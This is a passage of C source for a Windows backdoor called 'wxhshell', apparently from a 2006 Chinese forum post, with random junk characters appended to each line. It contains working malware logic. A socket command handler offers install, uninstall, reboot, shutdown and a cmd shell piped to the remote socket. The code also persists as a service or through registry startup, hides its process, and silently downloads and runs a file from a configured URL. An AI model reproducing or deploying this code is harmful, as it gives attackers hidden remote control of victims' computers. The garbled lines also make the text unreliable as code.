      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z&n[6aV'F  
    break; (&e!u{I  
  } ki'$P.v{$w  
  // 安装 fIoc)T  
  case 'i': { 4$KDf;m@  
    if(Install()) tS2 &S 6u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M_ukG~/  
    else ;Sivu-%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %1Q:{m  
    break; $IE}fgA@5  
    } oFU:]+.+D  
  // 卸载 WVa%<  
  case 'r': { Zt!#KSF7%  
    if(Uninstall()) !{jw!bB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [Y](Y3/.N  
    else z{L'7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MV"n{1B  
    break; d%8n   
    } %b^4XTz  
  // 显示 wxhshell 所在路径 wSjDa.?'  
  case 'p': { $t;:"i>  
    char svExeFile[MAX_PATH]; 7~XC_Yc1  
    strcpy(svExeFile,"\n\r"); s6|'s<x"j  
      strcat(svExeFile,ExeFile);  :RnUNz  
        send(wsh,svExeFile,strlen(svExeFile),0); ~b~Tq  
    break; j9h/`Bn  
    } Uqel UL}  
  // 重启 wb.yGfJ  
  case 'b': { ;W?#l$R  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RK!9(^Ja  
    if(Boot(REBOOT)) l}uZxKuYx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kg^0%-F  
    else { h vYRAQR:  
    closesocket(wsh); .2E/(VM  
    ExitThread(0); NuQ!huh  
    } s>J5.Z7"'j  
    break; F\D iT|?}  
    } VP#KoX85  
  // 关机 U*C^g}iA  
  case 'd': { d0 )725Ia  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r/sSkF F  
    if(Boot(SHUTDOWN)) GI]\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %P0  
    else { 12Oa_6<\0;  
    closesocket(wsh); m%[e_eS  
    ExitThread(0); 1cK'B<5">]  
    } *K|~]r(F?  
    break; u}nSdZC  
    } >_2~uF@pb  
  // 获取shell n&:ohOH%  
  case 's': { n*7^lAa2  
    CmdShell(wsh); +c~&o83[  
    closesocket(wsh); zTa5 N  
    ExitThread(0); x:FZEyalG  
    break; /"Vd( K2Z  
  } XjN4EDi+E  
  // 退出 B"_O!  
  case 'x': { b-<0\@`Z#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [on_=N{W[  
    CloseIt(wsh); V5K/)\#  
    break; 0>od1/`  
    } kGV:=h  
  // 离开 MrR`jXz  
  case 'q': { B.; qvuM~  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^{uHph9ny  
    closesocket(wsh); ;?/5Mr  
    WSACleanup(); Y$ jX  
    exit(1); I<#X#_YP  
    break; $+Ze"E  
        } G3DgB!  
  } ov_l)vt  
  } +aOdaNcI  
%LrOGr  
  // 提示信息 BY~Tc5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vIRT$W' O}  
} fxd+0R;f  
  } '[WL8,.Q  
9f! M1  
  return; }nlS&gew^  
} J%CCUl2  
_qa]T'8  
// shell模块句柄 lKsn6c,]  
int CmdShell(SOCKET sock) =@!t/LR7kg  
{ 5_;-Qw  
STARTUPINFO si; kO\ O$J^S  
ZeroMemory(&si,sizeof(si)); LI%dJ*-V  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6nL^"3@S!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9rMO=  
PROCESS_INFORMATION ProcessInfo; ^VXhv9\>B  
char cmdline[]="cmd"; +*8su5:[&@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EX8+3>)  
  return 0; ii?T:T@  
} @5^&&4>N  
9ngxkOGx  
// 自身启动模式 w-n}&f  
int StartFromService(void) <MbhBIejr  
{ ,ucRQ&P  
typedef struct ^sf,mM~D  
{ inaO{ny y  
  DWORD ExitStatus; wOf8\s1  
  DWORD PebBaseAddress;  tKV,  
  DWORD AffinityMask; "J"=<_?  
  DWORD BasePriority; N0p6xg~  
  ULONG UniqueProcessId; a^%)6E.[,  
  ULONG InheritedFromUniqueProcessId; p3A9 <g  
}   PROCESS_BASIC_INFORMATION; LFax$CZc  
T]%-Ri  
PROCNTQSIP NtQueryInformationProcess; Y!L-5|G  
t1hQ0B  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E:K4k <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %&6Q Uv^  
D|ceZ <9x  
  HANDLE             hProcess; Eiu/p&ct  
  PROCESS_BASIC_INFORMATION pbi; 2K9X (th1  
!'N@ZZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m54>}  
  if(NULL == hInst ) return 0; #4Z e2T|  
1b~21n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #+ch  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #NFB=o JI  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 94w)Yln  
"OenYiz  
  if (!NtQueryInformationProcess) return 0; F1.Xk1y%  
\ivxi<SR  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rn|]-^ku/  
  if(!hProcess) return 0; 0OM^,5%8  
t"4* ]S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p3Ux%/ZqPV  
\#,2#BmO"E  
  CloseHandle(hProcess); vW &G\L  
2p&$bf t  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @*y4uI6&  
if(hProcess==NULL) return 0; [`@M!G.  
7su2A>Ix  
HMODULE hMod; r.e K;  
char procName[255]; dcY(1p)  
unsigned long cbNeeded; D\THe-Vtr  
H0s*Lb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %'1iT!g8  
KVOV<uDCj  
  CloseHandle(hProcess); m#UQ,EM  
Pdf-2 Tx  
if(strstr(procName,"services")) return 1; // 以服务启动 9K@ I  
&\ 9%;k  
  return 0; // 注册表启动 f- XUto  
} &<;T$Y  
vqN/crJ@  
// 主模块 r,JQR)l0@V  
int StartWxhshell(LPSTR lpCmdLine) /Z6lnm7wJ  
{ B/;> v  
  SOCKET wsl; _[R(9KyF0f  
BOOL val=TRUE; jkL=JAcf~  
  int port=0; bJIYe ld  
  struct sockaddr_in door; q5_zsUR=  
)9nW`d+  
  if(wscfg.ws_autoins) Install(); I#2$CSJ  
qj;i03 +@  
port=atoi(lpCmdLine); 486\a  
X\m\yv}}  
if(port<=0) port=wscfg.ws_port; /F;2wT;  
&ww-t..  
  WSADATA data; , Wd=!if  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @MOQk  
*F1TZ_GS  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \}Am]Y/ w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^UKAD'_#%O  
  door.sin_family = AF_INET; 684& H8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _]zX W  
  door.sin_port = htons(port); tM]Gu?6  
0;l~B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { h}a}HabA  
closesocket(wsl); s;I @En  
return 1; "<=4]Z  
} 59zWB,y(P  
a=}1`Q  
  if(listen(wsl,2) == INVALID_SOCKET) { /ugWl99.W  
closesocket(wsl); 8|zavH#P  
return 1; n$C- ^3 c  
} GKFRZWXdT  
  Wxhshell(wsl); 7K.75%}  
  WSACleanup(); nms[No?  
nod&^%O"  
return 0; i?!9%U!z4  
b,+Sa\j)(  
} +%XByY5  
cjL)M=pIS  
// 以NT服务方式启动 a_c(7bQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (e'8>Pv  
{ "|X'qKS(H{  
DWORD   status = 0; S9!KI)  
  DWORD   specificError = 0xfffffff; le \f:  
trDw|WA  
  serviceStatus.dwServiceType     = SERVICE_WIN32; O5r8Ghf )  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; q%x i>H.:{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'etA1]<N  
  serviceStatus.dwWin32ExitCode     = 0; OM1Z}%J  
  serviceStatus.dwServiceSpecificExitCode = 0; LVg#E*J  
  serviceStatus.dwCheckPoint       = 0; /[_aK0U3  
  serviceStatus.dwWaitHint       = 0; )IcSdS0@M  
9>4#I3  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); lC#wh2B6  
  if (hServiceStatusHandle==0) return; Q!q6R^5!K  
oH w!~ c7  
status = GetLastError(); y>=YMD  
  if (status!=NO_ERROR) uMDd Zj&  
{ $=.%IJ_MAz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T{ @@V  
    serviceStatus.dwCheckPoint       = 0; :O413#8  
    serviceStatus.dwWaitHint       = 0; Pp } Z"  
    serviceStatus.dwWin32ExitCode     = status; 9;LjM ~Ct  
    serviceStatus.dwServiceSpecificExitCode = specificError; _fS\p|W(E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /}6I3n  
    return; B/l^=u+-  
  } +\Vw:~e  
e$s&B!qJ  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; bRu 9*4t  
  serviceStatus.dwCheckPoint       = 0; Z5v_- +K  
  serviceStatus.dwWaitHint       = 0; r\"R?P$y|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); b[:,p?:@  
} = z mxki  
>fYcr#i0[  
// 处理NT服务事件,比如:启动、停止 (H uvo9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]<<,{IQ  
{ v'?Smd1v /  
switch(fdwControl) <5G(Y#s/?  
{ )f$4: Pq  
case SERVICE_CONTROL_STOP: L6CI9C;-b  
  serviceStatus.dwWin32ExitCode = 0; UdrgUqq)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !(q@sw(  
  serviceStatus.dwCheckPoint   = 0; ?'~u)O(n  
  serviceStatus.dwWaitHint     = 0; 68P'<|u?  
  { (qFZF7(Xa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~T H4='4W3  
  } MDytA0M  
  return; MxpAh<u!vF  
case SERVICE_CONTROL_PAUSE: n>pJ/l%`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; E@C.}37R  
  break; :oy2mi;  
case SERVICE_CONTROL_CONTINUE: G4c@v1#%.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; *KNfPh#wi}  
  break; 9~`#aQG T  
case SERVICE_CONTROL_INTERROGATE: xwo *kFg  
  break; bhpaC8|  
}; iN8[^,2H|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZY8.p  
} )!0}<_2  
SLEOc OAmD  
// 标准应用程序主函数 Evj%$7H1L1  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) SAq .W"ri  
{ 8TpYt)]S  
((`\i=-o5  
// 获取操作系统版本 Z&>Cdgt*  
OsIsNt=GetOsVer(); ?u#s?$Y?  
GetModuleFileName(NULL,ExeFile,MAX_PATH); K9ia|2f  
|9XoRGgXU  
  // 从命令行安装 v_Vw!u  
  if(strpbrk(lpCmdLine,"iI")) Install(); e'uC:O.u  
)w4U]inJ$"  
  // 下载执行文件 HlX~a:.7  
if(wscfg.ws_downexe) { ?ja%*0 R  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) o*A, 6y  
  WinExec(wscfg.ws_filenam,SW_HIDE); gd * b0(  
} lZRO"[<  
3U^Vz9LW  
if(!OsIsNt) { j~Pw t9G  
// 如果时win9x,隐藏进程并且设置为注册表启动  lha;|  
HideProc(); &iWTf K7  
StartWxhshell(lpCmdLine); FbuWFC  
} <5%*"v  
else 0V-jOc  
  if(StartFromService()) odca?  
  // 以服务方式启动 Ud+,/pE>FA  
  StartServiceCtrlDispatcher(DispatchTable); /1Gmga5  
else #W8F_/!n|  
  // 普通方式启动 oH17!$Fly  
  StartWxhshell(lpCmdLine); 2p9^ =  
e 1XKlgl  
return 0; tXA?[ S  
}
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只看该作者 1 发表于: 2006-10-10
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